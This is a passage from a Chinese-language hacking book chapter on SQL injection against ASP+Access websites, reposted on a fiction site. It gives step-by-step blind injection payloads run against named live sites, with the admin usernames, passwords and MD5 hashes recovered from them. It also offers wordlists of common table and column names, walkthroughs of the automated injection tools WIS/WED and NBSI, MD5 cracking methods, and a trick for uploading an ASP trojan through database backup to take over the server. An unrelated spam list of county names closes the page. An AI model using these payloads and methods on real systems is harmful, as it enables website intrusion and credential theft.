官术网_书友最值得收藏!

2.5 注入Access數據庫全靠猜解

上面的’or'='or’漏洞攻擊,只是一個簡單的SQL注入攻擊例子。實際上,SQL注入攻擊的危害十分大,攻擊者可以借助SQL注入猜測數據庫的詳細結構,包括數據庫中的字段名和表名等,以及向數據庫中添加任意用戶或者讀取任意用戶的密碼等。

目前,最常見的網站程序與數據庫結構是ASP+Access,由于Access數據庫功能比較簡單,注入攻擊的方法也比較固定,因此這里首先側重講解一下ASP+Access網站系統的SQL注入攻擊原理及方法。

2.5.1 信息很豐富的Select查詢

由于Access數據庫的功能比較簡單,不支持多句查詢和聯合查詢等,因此,進行SQL注入攻擊的方法主要是建立在基本的Select查詢基礎上的。Select查詢是SQL注入攻擊Access數據庫的基礎,先來簡單地了解一下基礎的Select查詢語句。

1.建立一個Access攻擊目標數據庫

Microsoft Access的安裝是非常簡單的,是標準的Windows程序安裝向導模式,一直單擊【確定】按鈕,即可完成安裝。這里主要講一講如何建立Access數據庫及表。

Microsoft Access提供了一個“數據庫向導”, “數據庫向導”是為了方便建立數據庫而設計的向導類型的程序,它可以大大提高工作效率,通過簡單的幾個步驟,就可以輕松地獲得一個數據庫。這里以最新版的Microsoft Access 2007為例進行講解。

打開Microsoft Access 2007,單擊主菜單【新建】,打開新建數據庫對話框。在左側模板類型中選擇“功能”項,單擊右側的“空白數據庫”,在右側設置數據庫路徑及文件名(圖58)。可將文件名設置為“test.mdb”,并選擇保存類型為“Microsoft Access 2000數據庫”(圖59)。設置完畢后,單擊【創建】按鈕,即可建立一個后綴名為.mdb的Access數據庫文件。

圖58 新建空白數據庫

打開剛才新建的“test.mdb”數據庫文件,默認自動開始建立一個數據表。設置此數據表為幾個字段:“賬號”、“用戶名”、“手機號”、“地址”和“密碼”。將此資料表重命名為“admin”,接著輸入一些數據記錄(圖60),然后保存數據表即可(見隨書光盤 \Sample\ch2\test.mdb)。

圖59 選擇數據庫類型

圖60 示例數據庫內容

2.需要靈活使用的幾個Select查詢

簡單的Select查詢,包括選擇列表、from子句和where子句,它們分別定義說明所查詢字段、查詢的表或視圖及搜索條件等。這些簡單的查詢語句,都是在進行SQL注入攻擊Access數據庫時必須用到的。

1)創建查詢

為了便于學習SQL語句,直觀地看到語句執行效果,可以在Micorsoft Access軟件中打開前面建立的“test.mdb”數據庫文件。單擊功能區標簽“創建”→“查詢設計”,打開查詢窗口,關閉顯示表窗口(圖61)。

圖61 創建查詢設計

右下角處的“SQL”按鈕,打開SQL查詢視圖,在視圖中輸入SQL語句,單擊工具欄上的“執行”按鈕,即可在其中直接執行SQL語句,并看到結果(圖62)。

圖62 SQL語句執行窗口

例如,下面是一個簡單的查詢語句:

            SELECT  手機號,地址 FROM admin WHERE 姓名=’肖遙’

該語句可查詢admin表中姓名為“肖遙”的“手機號”字段和“地址”字段(圖63)。

圖63 查詢結果

2)選擇字段表

選擇字段表(select_list)用于查詢字段,它可以是一組字段名字段表、星號、表達式、變量(包括局部變量和全局變量)等構成。

(1)選擇所有字段

例如,下面語句顯示admin表中所有字段的數據(圖64):

            SELECT *
            FROM admin

圖64 查詢所有字段

(2)選擇部分字段并指定它們的顯示次序

查詢結果集合中數據的排列順序與選擇列表中所指定的字段名排列順序相

同。例如:

            SELECT 姓名,密碼
            FROM admin

可查詢admin表中所有姓名和密碼字段數據(見圖65)。

圖65 查詢指定字段

(3)限制返回的行

在選擇列表查詢中,可使用TOP n [PERCENT]選項限制返回的記錄數據行數, TOP n說明返回n行,而TOP n PERCENT時,說明n是表示一個百分數,指定返回的行數等于總行數的百分之幾。例如:

            SELECT TOP 2 * FROM admin
            SELECT TOP 20 PERCENT * FROM admin

語句1的執行結果如圖66所示。

圖66 查詢字段的指定記錄行

3)使用Where子句設置查詢條件

使用Where子句設置查詢條件,可過濾掉不需要的數據行。例如,下面語句查詢“姓名”為“肖遙”的數據(圖67):

            SELECT *
            FROM admin
            WHERE 姓名=’肖遙’

圖67 條件查詢結果

where子句還可包括各種條件運算符:

比較運算符(大小比較):>、>=、=、<、<=、<>、! >、! <。

范圍運算符(表達式值是否在指定的范圍):BETWEEN…AND…、NOT BETWEEN…AND…。

列表運算符(判斷表達式是否為列表中的指定項):IN(項1,項2……)、NOT IN(項1,項2……)。

模式匹配符(判斷值是否與指定的字符通配格式相符):LIKE、NOT LIKE。

空值判斷符(判斷表達式是否為空):IS NULL、NOT IS NULL。

邏輯運算符(用于多條件的邏輯連接):NOT、AND、OR,要注意,邏輯運算符的優先級排列為:NOT、AND、OR。

另外,在使用where子句進行條件查詢時,還可以使用以下通配字符。

百分號“%”:可匹配任意類型和長度的字符,如果是中文,請使用兩個百分號即“%%”;

下畫線“_”:匹配單個任意字符,它常用來限制表達式的字符長度;

方括號“[]”:指定一個字符、字符串或范圍,要求所匹配對象為它們中的任一個。

例如,要查詢數據庫中,所有“用戶名”包含“張”的數據,可執行:

            Select *
            FROM admin
            WHERE 姓名 LIKE ‘%張%’

使用通配字符進行查詢,主要用在網站搜索功能中,在進行搜索型注入時,會用到這些通配符查詢,所以是非常重要的。

4)查詢結果排序

使用ORDER BY子句,可對查詢返回的結果按一列或多列排序。ORDER BY子句的語法格式為:

            ORDER BY {column_name [ASC—DESC]} [, …n]

其中ASC表示升序,為默認值,DESC為降序。ORDER BY不能按ntext、text和image數據類型進行排序。如執行以下語句,可按用戶手機號從大到小排序(圖68):

            SELECT *
            FROM admin
            ORDER BY 手機號 desc

圖68 查詢結果排序顯示

2.5.2 使用Select猜解Access表及字段名

在前面用單引號法和“1=1和1=2”法,確定了SQL注入點的存在后,可將查詢條件替換成SQL語句,從而猜解出數據庫的表名。

1.Access中的查詢實驗

先來做一個小實驗,在前面我們用Micorosoft Access建立了一個“test.mdb”數據庫(見隨書光盤 \Sample\ch2\test.mdb)。其中有名為“admin”的表及“密碼”、“用戶名”、“賬號”等字段(圖69)。用Micorosoft Access打開此數據庫,建立一個SQL查詢窗口,在其中執行語句:

            Select count(*) from users

圖69 “admin”表

將彈出錯誤提示框,提示找不到輸入表或查詢“users”(圖70),這是因為在“test.mdb”數據庫中,并不存在“users”這樣一個表。再執行如下語句:

            Select count(*) from admin

圖70 錯誤提示框

可看到返回了查詢數值為“3”,這是因為數據庫中有“admin”表,并且其中有3條記錄,上面的SQL語句查詢了“admin”表中的記錄,并正確的返回了記錄數目值(圖71)。

圖71 正常返回表中記錄數目

從上面的例子可以看出,使用“Select Count(*) from表名”可以檢測數據庫中是否有指定的表。因此,在進行SQL注入時,也可以使用同樣的方法來猜解數據庫中的表名。

2.用Select Count()轉換查詢類型

猜解數據庫表名的方法,是在注入點鏈接后,提交

            And (Select Count(*) from Admin)>=0

進行查詢。這里以某數字型注入點為例:

            http://www.***.com/***.asp? ID=50

提交查詢鏈接為:

            http://www.***.com/***.asp? ID=50 And (Select Count(*) from Ad
            min)>=0

如果返回頁面與“http://www.***.com/***.asp? ID=50”相同,說明附加條件“And (Select Count(*) from Admin)>=0”成立,表Admin存在;反之不存在。如此循環,直至猜到表名為止。

表名猜出來后,可將上面的“Count(*)”替換成“Count(字段名)”進行提交,用同樣的原理猜解字段名。

簡單地說,“Select Count(*) from表名”是統計指定表中所有記錄數目,也就是說,只要存在指定的表,那么必然返回值為1或大于1,也就是符合“>=0”,其值為真。因此,當數據庫中存在admin表時,“And (Select Count(*) from admin)>=0”為真,等價于“and 1=1”,所以注入點返回頁面正常顯示。反之,頁面不正常顯示,則說明不存在指定的表名。

Access數據庫的特殊性,其返回的錯誤信息提示比較少,因此,在猜解Access數據庫的表名時,有一定偶然的成分,如果表名起得很復雜,很沒規律,那可能無法猜解出表名。也就是說,對于Access數據庫來說,SQL注入攻擊是建立在網頁程序不嚴密,以及使用者安全意識不夠的基礎上的。

而對于SQL Server的數據庫,可以通過各種方法讓網頁程序報出錯誤信息,從而告訴攻擊者表名及字段名,我們在后面的SQL數據庫注入篇中會做介紹。

3.猜解表名及字段名的實例

打開網頁“http://www.nizi.com.cn/shownews.asp? newsid=1633”,在該網頁鏈接后使用and 1=1和and 1=2方法進行判斷,發現兩次返回信息均不相同,說明存在SQL注入漏洞(圖72)。

圖72 檢測到Access數據庫注入點

現在可以通過在鏈接地址后加上“and exists (select * from admins)”語句,提交鏈接為:

            http://www.nizi.com.cn/shownews.asp? newsid=1633  and exists
            (select * from admins)

該句表示測解網站數據庫中是否存在“admins”表名,但是瀏覽返回信息(圖73):

            [Microsoft][ODBC Microsoft Access Driver] Microsoft Jet 數據庫
            引擎找不到輸入表或查詢 ' admins' 。 確定它是否存在,以及它的名稱的拼寫是
            否正確。

圖73 不存在“admins”表的返回信息

說明數據庫中不存在名為“amdins”的表名;我們可以更改表名繼續進行猜解。提交鏈接為:

            http://www.nizi.com.cn/shownews.asp? newsid=1633  and exists
            (select * from username)

返回依然為出錯信息。再次提交鏈接為:

            http://www.nizi.com.cn/shownews.asp? newsid=1633  and exists
            (select * from users)

返回頁面正常顯示,說明在數據庫中存在“user”的表名(圖74)。

圖74 檢測“user”表返回正常信息

接著猜測“users”表中存在的字段名,在注入點鏈接后,添加語句“and (select count(username) from users)>=0”,提交鏈接為:

            http://www.nizi.com.cn/shownews.asp? newsid=1633  and  (select
             count(username) from users)>=0

返回信息為“[Microsoft][ODBC Microsoft Access Driver] 參數不足,期待是1。”(圖75),說明不存在“username”這個字段。再繼續提交鏈接為:

            http://www.nizi.com.cn/shownews.asp? newsid=1633  and  (select
             count(user) from users)>=0

返回依然為錯誤,再提交鏈接為:

            http://www.nizi.com.cn/shownews.asp? newsid=1633  and  (select
            count(name) from users)>=0

終于返回正常的頁面,說明在“users”表中存在名為“name”的用戶字段名(圖76)。

圖75 錯誤字段名返回信息

圖76 檢測到“name”字段名

再猜測表中的密碼字段名,嘗試提交“and (select count (password) from users)>=0”、“and (select count(pass) from users)>=0”時,均返回錯誤。直接提交“and (select count(pwd) from users)>=0”時,鏈接為:

            http://www.nizi.com.cn/shownews.asp? newsid=1633  and (select
            count(pwd) from users)>=0

返回正常頁面,則說明密碼的字段名為“pwd”(圖77)。

圖77 檢測“pwd”密碼字段名

在上面猜解步驟中可以看到,表名和字段名完全是靠經驗或運氣進行猜測的;而具體的用戶名和密碼只要按照規律就一定能猜解成功。下面給大家提供一些常見的字段名和表名,以供猜測時參考。

常見表名:admin、a_admin、x_admin、m_admin、adminuser、admin_user、article_admin、administrator、manage、manager、member、memberlist、user、users、userlist、user_list、login、用戶、密碼、會員、登錄、movie、movies、news。

常見字段名:id、admin、admin_id、adminuser、admin_user、adminuserid、admin_userid、adminusername、admin_username、adminname、admin_name、adminpwd、adminpass、adminpassword、administrators、usr、usrname、usr_name、usr_pass、usrnam、user、userid、user_id、password、pwd、userpwd、useradmin、用戶、用戶名、密碼等。

另外,對于一些常見的網站,可以從網上下載其源代碼,從而查看到其中的表名和字段名。

2.5.3 ASCII逐字解碼法猜解字段值

在表名和字段名猜解成功后,攻擊者可繼續使用SQL語句,猜解出所有字段中的值。比較常用的方法是“ASCII逐字解碼法”,這種方法猜解速度比較慢,但成功率非常高。

1.ASCII逐字解碼法

繼續進行小實驗。首先,在Access中打開前面生成的“test.mdb”數據庫,執行如下SQL查詢(圖78):

            select top 1 len(賬號) from Admin

圖78 查詢“賬號”字段值長度

這里的“Top 1”,表示選擇第一條記錄。在“賬號”字段中,第一條記錄數據值為“admin1”,用“len()”函數可獲取字段的長度,得到其長度為6。因此可以看到查詢顯示結果為“6”(圖79)。如果對“select top 1 len(賬號) from Admin”返回值進行邏輯判斷的話,其值是大于0的。也就是說,“select top 1 len(賬號) from Admin>0”成立,其值為真。

圖79 顯示字段長度

相應地,利用前面的SQL注入原理,使用經典的“1=1和1=2法”的話,可以用“(select top 1 len(賬號) from Admin)>0”代替“and 1=1”和“and 1=2”進行判斷。也就是說,“and (select top 1 len(賬號) from Admin)>0”與“and 1=1”是等價的,其值都為真。那么,進行注入檢測時,頁面的返回就顯示正常。

但是,當執行查詢語句“(select top 1 len(賬號) from Admin)>6”時,由于“(select top 1 len(賬號) from Admin)”的值為6,因此“and (select top 1 len(賬號) from Admin)>6”其值為假,相應的就等價于“and 1=2”。那么,在進行注入檢測時,頁面的返回就顯示錯誤信息。

反之,在不知道字段長度的情況下,使用“and (select top 1 len(字段名) from表名)>0”代替“and 1=1”和“and 1=2”進行SQL注入檢測,通過頁面返回信息正常或錯誤,也可以確定字段的長度。這就是字段值猜解的原理。在具體猜解時,需要對字段長度進行反復的提交嘗試,具體方法如下。

例如,已知表“Admin”中存在“username”字段,首先可取第一條記錄,測試字段的長度。提交的檢測語句為:

            and (select top 1 len(username) from Admin)>0

整條語句表示,獲取“username”字段中的第一條記錄數據的長度。如果記錄數據的長度大于0,則條件成立,“and (select top 1 len(username) from Admin)>0”的反回值就為真,那么提交的鏈接返回頁面顯示為正常。

接著繼續測試提交:

            and (select top 1 len(username) from Admin)>1
            and (select top 1 len(username) from Admin)>2
            …………
            and (select top 1 len(username) from Admin)>*

一直到頁面返回不正常時,則說明“and (select top 1 len(username) from Admin)>*”其值為假,所以頁面返回不正常。也就是說,“(select top 1 len(username) from Admin)>*”不成立,那么“len(username)>*”不成立,則“len(username)=*”,可得出“username”的字段長度為“*”。

在得到“username”字段的長度后,可以用“mid(username, N,1)”函數來截取第N位字符,再用“asc(mid(username, N,1))”函數,得到該第N位字符的ASCII碼,例如:

            and (select top 1 asc(mid(username,1,1)) from Admin)>0

如果頁面返回正常,則說明“(select top 1 asc(mid(username,1,1)) from Admin)>0”成立,即“username”字段的第一條記錄的第一位字符,其ASCII碼是大于0的。用同樣的方法繼續提交:

            and (select top 1 asc(mid(username,1,1)) from Admin)>1
            and (select top 1 asc(mid(username,1,1)) from Admin)>2
            and (select top 1 asc(mid(username,1,1)) from Admin)>3
            …………
            and (select top 1 asc(mid(username,1,1)) from Admin)>*

直到返回頁面不正常為止,說明提交的“and (select top 1 asc(mid(username,1,1)) from Admin)>*”是不成立的,“(select top 1 asc(mid(username,1,1)) from Admin)>*”值為假。由此可得出,“(select top 1 asc(mid(username,1,1)) from Admin)=*”,也就是說,“username”字段的第一條記錄的第一位字符,其ASCII碼是為“*”的。

再用同樣的方法猜解第2、3、4位字符,原理都是一樣的,提交格式為:

            and (select top 1 asc(mid(username, N,1)) from Admin)>1

即可猜解出第N位字符的ASCII碼。將ASCII碼轉換為對應的字符,就可以得到相應字段中的數據了。

2.猜解字段值的實例

在前面的實例中,猜解出了在“users”表中存在著“name”和“pwd”兩個字段,現在我們先來猜解“name”字段的長度。提交“and (select top 1 len(name) from users)>0”,鏈接為:

            http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
            top 1 len(name) from users)>0

返回頁面正常顯示,則繼續進行提交:

            http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
            top 1 len(name) from users)>1
            http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
            top 1 len(name) from users)>2
            …………
            http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
            top 1 len(name) from users)>4

返回頁面都顯示正常,直接到提交>5鏈接:

            http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
            top 1 len(name) from users)>5

此時,返回頁面錯誤的提示,提示信息為“該新聞不存在或未通過審核”,說明“name”的長度為5(圖80)。

圖80 檢測“name”字段長度為5

用同樣的方法檢測“pwd”字段長度:

            http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
            top 1 len(pwd) from users)>0
            http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
            top 1 len(pwd) from users)>1
            …………
            http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
            top 1 len(pwd) from users)>8

當提交到“(select top 1 len(pwd) from users)>8”時,返回了出錯提示,由此可以得到“pwd”字段長度為8(圖81)。

圖81 猜解pwd字段長度為8

現在要猜測具體的用戶名和密碼了,提交“and (select top 1 asc(mid(name,1,1)) from users)>0”,鏈接為:

        http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
        top 1 asc(mid(name,1,1)) from users)>0

頁面返回正常;繼續提交“and (select top 1 asc(mid(name,1,1)) from users)>10”,顯示正常。

再繼續提交“and (select top 1 asc(mid(name,1,1)) from users)>50”、“and (select top 1 asc(mid(name,1,1)) from users)>80”、“and (select top 1 asc(mid(name,1,1)) from users)>90”,頁面返回均正常。

當提交“and (select top 1 asc(mid(name,1,1)) from users)>100”時,返回錯誤信息(圖82),由此確定“name”字段第一條記錄數據的第1位字符,其ASC編碼位于90到100之間。

圖82 第1位字符對應ASC碼位于90到100之間

繼續提交“and (select top 1 asc(mid(name,1,1)) from users)>95”,返回正常;

提交“and (select top 1 asc(mid(name,1,1)) from users)>96”,返回正常;

直接提交到“and (select top 1 asc(mid(name,1,1)) from users)>97”時,頁面返回錯誤信息。由此說明“name”字段第一條記錄的第一位字符對應的ASCII碼為“97”,通過編碼轉換后,得到其對應的字母為“a”。

提示:ASCII碼轉換器

在猜解字段記錄值的過程中,得到某個字符的ASCII碼后,可以對照ASCII碼表查出其對應的字符。但是手工對照查找太麻煩了,攻擊者往往會使用一個叫做“ASC碼轉換器”的工具(http://www.skycn.com/soft/22830.html)。“ASC碼逆轉換器”其實是一個VBS腳本的ASCII碼轉換工具,運行軟件后,在“轉對應鍵”中輸入ASC碼,如上面的“97”(圖83),單擊【轉換】按鈕后,就可以得到對應的字符為“a”。

圖83 使用工具轉換ASCII碼字符

再繼續更改mid(name, N,1)中N的數值,用同樣的方法提交,鏈接為:

        http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
        top 1 asc(mid(name,2,1)) from users)>0
        http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
        top 1 asc(mid(name,2,1)) from users)>1
        http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
        top 1 asc(mid(name,2,1)) from users)>2
        …………
        http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
        top 1 asc(mid(name,2,1)) from users)>99

均返回正常信息,直接到提交:

        http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
        top 1 asc(mid(name,2,1)) from users)>100

此時返回了錯誤信息,由此可確定 “name”字段第一條記錄的第二位字符對應的ASCII碼為“100”,編碼轉換后得到其對應的字母為“d”。

一直用同樣的方法,猜解出“name”字段第一條記錄的所有字符,對應的值為“admin”。再用同樣的方法,猜解“pwd”字段第一條記錄中的所有字符,所到其對應的數值為“/fengner”。

提示:ASCII碼值在0~128的范圍之內,表示其對應的字符是字母或數字;如果在猜解過程中,得到字段記錄中某個字符,其對應的ASCII碼為負數的話,說明此字符為漢字。

2.5.4 三分鐘攻陷了一個網站

使用上面的方法進行手工猜解時,如果字段名和表名比較少見,用戶名、密碼等設置得比較復雜的話,手工猜解的方法很難、很麻煩。為了加快入侵攻擊的步伐,攻擊者們往往會利用上面的攻擊原理,制作出SQL自動注入的工具來代替手工提交鏈接,因此攻擊危害性非常大。往往攻擊入侵一個網站,不過是幾分鐘之內的事情。

當然,這類攻擊工具在網絡安全工作者的手中同樣也可以發揮出強大的威力,幫助我們彌補網站的安全漏洞。

1.快速破解用戶密碼

比較常用的SQL自動注入工具是非常多,這里簡單地介紹一下“WIS+WED”和NBSI2的使用。

1)WIS+WED

“wed+wis”的SQL注入工具包,是在由國內一位著名黑客小榕發布的SQL注入工具。注入速度是驚人之快,使用該工具不僅可以很快地找到網站的SQL注入漏洞的頁面,而且可以很快猜出管理員的賬號和密碼。

工具包中包括兩個程序:“wed.exe”和“wis.exe”(圖84),其中“wis.exe”是用來掃描某個站點中存在的SQL注入漏洞的,并且可以掃描到后臺管理員登錄的路徑;“wed.exe”則是用來猜測SQL注入賬號和密碼的。兩個工具結合起來,可完成的一個完整的SQL注入攻擊過程。

本來這兩個工具都是命令行下使用的程序,不過為了方便使用,有人在這個工具上加上了GUI圖形外殼。直接執行壓縮包中的“OPEN TOOLS.exe”程序就可以了。

圖84 wed+wis注入工具

可先用WIS代替手工尋找SQL注入點,運行程序“OPEN TOOLS.exe”,在程序界面的“WIS Url”后輸入某個網站地址,如“http://www.3uo.cn/”(圖85),單擊【Start】按鈕后,就開始搜索網站中存在的注入漏洞了。

圖85 設置掃描站點

程序自動打開了一個命令窗口,并自動進行掃描,很快得到了掃描結果。其中紅色的鏈接地址,就是掃描到的注入點(圖86)。在本例中提示的信息為:

        SQL Injection Found: /shownews.asp? id=26
        Injection Page Final Result:
        ============================
        /shownews.asp? id=26

由上可知,SQL漏洞注入點鏈接地址為“http://www.3uo.cn/shownews.asp? id=26”。

圖86 掃描到注入漏洞鏈接

掃描完整個網站中的SQL注入頁面后,可以繼續第二個步驟,就是破解管理員用戶名和密碼。選擇掃描出的SQL注入點列表中的某個鏈接作為破解目標,返回OPEN TOOLS界面,在“WED Url”后輸入注入點的鏈接地址:“http://www.3uo.cn/shownews.asp? id=26”,再次單擊【Start】按鈕(圖87)。

圖87 注入點破解設置

程序會打開另外一個命令窗口,開始破解用戶名和密碼。程序會自動調用工具包中的3個文件,“TableName.dic”、“UserField.dic”和“PassField.dic”,這幾個文件是破解用戶數據庫中的字表名、用戶名和用戶密碼所需的默認字典文件。一般來說,WED程序很快就可以完成用戶名和密碼的破解,可以看到用戶名和密碼為數據(圖88)。破解成功的提示信息如下:

        Got Table Name is "admin"
        Got Name Field is "userid"
        Got Length of Field "userid" is: 2
        Got Password Field is "adminpassword"
        Got Length of Field "adminpassword" is: 16
        userid is: baoma_530
        adminpassword is: mingnianjintir666bao*

其中,在“userid is:”后顯示的就是用戶名,“password is:”后顯示的就是用戶密碼。“Got Table Name is”后接的是猜解出來的表名;“Got Name Field is”后表示猜解出來的用戶名字段,“Got Length of Field”顯示的是指定字段的長度;“Got Password Field is”后是密碼字段。

圖88 破解出用戶名和密碼

2)NBSI自動猜解用戶密碼

NBSI的功能更為強大些,掃描網站注入點在“網站掃描”界面中進行。找到注入點后,在“注入分析”界面的“注入地址”中輸入注入點鏈接地址,單擊右側的【檢測】按鈕,很快會在“分析結果”中顯示檢測結果。例如,這里顯示“信息捕獲”為“HTTP報頭及IIS提示分析”,注入方式為“數字型”,數據庫為“Access”(圖89)。

圖89 注入點詳細信息

單擊下方的“已猜測表名”中的【自動猜解】按鈕,在中間列表顯示檢測到的表名為“admin”和“users”、“news”(圖90)。選擇“admin”后,在“已猜解字段名”框下單擊【自動猜解】按鈕,執行完畢后在中間列表中顯示數據庫中的字段名為“id”、“adminname”和“adminpassword”(圖91)。勾選所有字段名后,單擊右邊“已猜解記錄”框下的【猜解數據】按鈕,很快就可以得到用戶名和密碼了(圖92)。在這里字段破解信息記錄有兩條:

圖90 猜解數據庫表名

圖91 猜解出指定表中的字段名

圖92 猜解出指定字段記錄值

            [id]:14 [adminname]:admin [adminpassword]:4c0de7ea4d0d467c
            [id]:21 [adminname]:lager [adminpassword]:7a57a5a743894a0e

表示存在兩個用戶名記錄,其中之一用戶名為“admin”,密碼為“4c0de7ea4d0d467c”;另一用戶名為“lager”,密碼為“7a57a5a743894a0e”。

3)MD5密碼的破解

在上面的猜解過程中,有時得到的用戶密碼是開始“7a57a5a743894a0e”之類的字符串,其實這類字符是密碼經過MD5加密后的密文。攻擊者往往會對其進行破解,還原出明文密碼后,直接登錄后臺管理頁面。

攻擊者可以使用專門的MD5密碼破解工具,來破解MD5密碼密文。破解工具很多,比如“MD5CrackV2.2”就是一個很簡單易用的工具,它可以破解包括字母、數字、特殊字符的各種混合密碼。運行程序后,在“密碼選項”中勾選“破解單個密文”,輸入剛才的管理員密碼密文,并設置要破解密碼位數及密碼中包含的字符類型,可設置為純數字或純字符破解,也可以設置成混合字符破解(圖93)。然后在右邊設置密碼長度,可設置為6~10位,最后單擊【開始】按鈕即可開始破解密碼(圖94)。

攻擊者往往會使用一些黑客字典進行破解。在軟件界面中,勾選“字典模式”,并選擇相應的字典文件后,可以使用字典方式進行破解,如果字典制作得好,破解的效率更高。

圖93 設置MD5破解選項

圖94 開始破解

破解MD5密碼的工作,絕對是一件非常考驗攻擊者耐心的事情,如果運氣不好的話很可能要破解幾天幾夜,還不一定能得到正確的密碼。但是如果管理員密碼設置得比較簡單的話,則很容易被破解成功。

另外,攻擊者也可能會使用一些在線的MD5密碼破解工具。這些在線MD5密碼破解工具與本地暴力破解軟件不同,每一個在線破解工具,都有一個龐大的字典庫,在其中存儲了大量密文對應的密碼。也就是說,在線MD5密碼破解,采用的是字典破解方法,直接對用戶輸入的密文進行對比,從字典中找到相應的密碼明文。因此,其破解速度是非常快的!

例如,有一個叫做“xmd5”(http://www.xmd5.org/index_cn.htm)的在線破解工具。單擊頁面中的“解密”,直接輸入密文,如這里輸入上面猜解出來的密文“7a57a5a743894a0e”(圖95)。單擊【給我轉】按鈕,即可查看轉換結果。如果破解成功的話,頁面中會顯示成功信息:

            Result: admin   >>>Have a good time ! <<<

信息顯示,破解密碼原文為“admin”(圖96)!

圖95 輸入MD5密文

圖96 在線破解密碼成功

2.掃描后臺登錄頁面

獲得網站的管理員密碼后,攻擊者會繼續查找網站后臺管理登錄頁面,以用剛才破解的管理員用戶名和密碼登錄控制網站。攻擊者可以手工猜測,也可能利用工具來完成后臺管理頁面的掃描,其速度更快。

1)WIS掃描后臺登錄頁面

使用Wis掃描網站后臺管理登錄頁面的方法很簡單,在“OPEN TOOLS”程序界面的“WIS URL”中,輸入“漏洞網站 /A”,如這里輸入的是“http://www.3uo.cn//A”,單擊【Start】按鈕執行后即可掃描到后臺登錄路徑(圖97)。

在掃描結果信息中,白色鏈接是猜解的鏈接,綠色高亮顯示的是檢測到的后臺頁面鏈接地址。例如這里掃描的信息為(見圖98):

            Access Page Final Result:
            ============================
            /login.asp (200 OK)
            /login.asp (200 OK)

則說明存在鏈接地址為“http://www.3uo.cn/login.asp”的后臺管理頁面。

圖97 掃描后臺管理頁面

圖98 掃描到管理登錄頁面

2)NBSI掃描后臺登錄頁面

單擊NBSI工具欄上的【掃描及工具】按鈕,選擇下拉菜單中的【后臺管理路徑掃描】命令,然后在掃描地址中輸入網站SQL注入漏洞鏈接地址。默認是從當前目錄下開始掃描管理員登錄路徑,也可以勾選下方的“從根目錄開始掃描”,最后單擊右邊的【開始掃描】按鈕,即可開始掃描所有后臺管理路徑(圖99)。

掃描到可能存在的管理頁面將會顯示在下方的列表中,其中標記為“202”的表示此頁面肯定存在。選擇頁面后,單擊最下方的【訪問本頁】按鈕,即可自動調入IE瀏覽器打開該頁面。用瀏覽器打開掃描到的后臺管理登錄頁面,輸入猜解到的用戶名和密碼即可登錄了(圖100)。登錄成功頁面見圖101。

圖99 NBSI掃描后臺管理頁面

圖100 后臺登錄頁面

圖101 登錄成功

2.5.5 網站是怎樣被控制的

一般來說,攻擊者成功登錄網站的后臺管理頁面后,通常都能夠很容易上傳一個ASP木馬后門,進而控制整個網站服務器。上傳ASP木馬后門的方法很多,主要是根據后臺管理系統所提供的功能而定的。例如,在許多后臺管理頁面中,一般可以上傳文件,如果上傳的文件類型支持“.asp”的話,攻擊者就可以直接上傳一個ASP木馬了。

1.數據庫備份上傳ASP木馬

例如,這里有某個后臺管理頁面,提供了圖片和文件上傳功能。單擊頁面中的【上傳文件/圖片】按鈕,瀏覽選擇本地硬盤上的一個ASP木馬“冰狐浪子木馬”的服務端程序文件“asp.asp”,單擊【提交】按鈕后確定認上傳(圖102)。然而返回信息為“非法文件”,說明不支持上傳ASP文件類型。

圖102 上傳ASP木馬失敗

怎么辦呢?常見的方法是通過數據庫備份來間接完成ASP木馬上傳的。首先在本地將冰狐浪子木馬“asp.asp”改名為“asp.bmp”,然后在剛才的頁面中選擇上傳目錄為“軟件圖片目錄”,指定上傳文件為“asp.bmp”(圖103),提交后文件上傳成功,并顯示文件上傳后的存放路徑及文件名(圖104)。

單擊頁面左側的“備份數據”按鈕,在右邊頁面中修改“當前數據庫路徑”內容。由于文件上傳路徑為“D:\web\down\softimg”,因此將數據庫路徑改為“../softimg/asp.bmp”;并輸入“備份數據庫目錄”為“../softimg”; “備份數據庫名稱”為“asp.asp”,單擊【開始備份】按鈕,完成即可將上傳的“asp.bmp”改名為“asp.asp”文件了(圖105)。

圖103 修改ASP木馬后綴上傳

圖104 上傳文件成功

圖105 數據庫備份

2.將網站服務器控制在手

攻擊者打開一個新的IE窗口,在地址欄中輸入ASP木馬“冰狐浪子木馬”的服務端程序文件鏈接地址,回車后如果頁面顯示為空白的話,則說明冰狐木馬上傳成功了(圖106)。

圖106 訪問服務端顯示空白頁面

攻擊者打開冰狐浪子的客服務端“icyfox007.htm”,在控制頁面的“ASP URL”欄中輸入剛才的鏈接地址,然后在“Javascript”下選擇“目錄瀏覽”命令,在下方的“Input Path”中輸入“c:\”,然后單擊中間的【RUN】按鈕(圖107)。運行后,將會打開一個新的IE窗口,中間顯示了網站服務器上C盤根目錄下的所有文件內容(圖108)。

圖107 設置服務端地址

圖108 顯示網站服務器文件目錄信息

此外,還可以選擇不同的命令實現文件上傳、文件下載、寫入文件、運行程序等功能,通過這些命令可以再上傳其他的木馬后門,進一步控制網站服務器。

主站蜘蛛池模板: 江津市| 巩留县| 都江堰市| 杭锦后旗| 比如县| 云和县| 措美县| 银川市| 海门市| 剑川县| 永和县| 灌阳县| 崇礼县| 梁山县| 舞钢市| 永胜县| 红桥区| 巴马| 专栏| 庆城县| 林州市| 响水县| 钦州市| 安吉县| 和林格尔县| 广东省| 安义县| 荣成市| 鄂尔多斯市| 方正县| 囊谦县| 南丰县| 赞皇县| 韶关市| 房产| 浙江省| 临城县| 南乐县| 临泽县| 鲁甸县| 喀喇沁旗|